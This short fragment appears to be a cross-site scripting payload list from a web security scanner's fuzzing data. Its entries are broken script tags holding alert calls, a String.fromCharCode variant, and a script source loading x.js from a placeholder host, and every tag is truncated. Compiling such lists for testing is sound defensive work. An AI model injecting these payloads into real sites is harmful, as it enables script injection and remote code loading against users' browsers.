ipt>alert('__XSS__') ipt>alert('__XSS__')ipt> ipt>alert("__XSS__") ipt>alert("__XSS__")ipt> ipt>String.fromCharCode(0,__XSS__,1) ipt>String.fromCharCode(0,__XSS__,1)ipt> ipt src=http://__XSS__/x.js> ipt src=http://__XSS__/x.js>ipt>